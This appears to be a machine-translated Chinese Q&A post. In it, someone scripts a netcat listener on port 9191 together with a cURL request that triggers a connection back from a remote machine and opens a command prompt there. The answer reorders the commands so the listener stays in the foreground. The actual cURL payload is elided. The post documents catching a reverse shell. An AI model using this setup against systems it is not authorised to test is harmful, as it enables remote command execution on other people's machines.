
這個問題與資訊安全更相關,但我似乎找不到自動化以下過程的解決方法:
有一個 cURL 指令可以觸發與 netcat 的連線。如果沒有自動化,我輸入nc -lvnp 9191
, 並輸入其他在終端機中,我輸入 cURL 命令,該命令會在連接埠 9191 上建立與我的電腦的連接,然後我可以使用該連接在遠端電腦中執行一些命令。
我正在我的 Bash 腳本中嘗試這樣的事情:
nc -lvnp 9191&
curl ......
Netcat 啟動一個偵聽器,進入後台,cURL 觸發連接(我收到返回的連接),但 netcat 立即關閉。
$ ./shell.sh
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
nc -lvnp 9191&
如果我從 Bash 腳本中刪除並僅在 Bash 腳本中保留 cURL 命令,則會發生以下情況:
$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>
但是,一旦我按下“回車”,netcat 作業就會立即暫停:
[1] + 22609 suspended (tty input) nc -lvnp 9191
我必須fg
恢復網路貓的工作並繼續工作,但我想知道是否可以以某種方式將自己從這一切中拯救出來。
答案1
因此,在與某人討論後,我們終於設法讓它發揮作用。我們更改了行位置,因此curl
首先出現(但作為後台作業),然後是netcat
(無背景)。方法如下所示:
(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191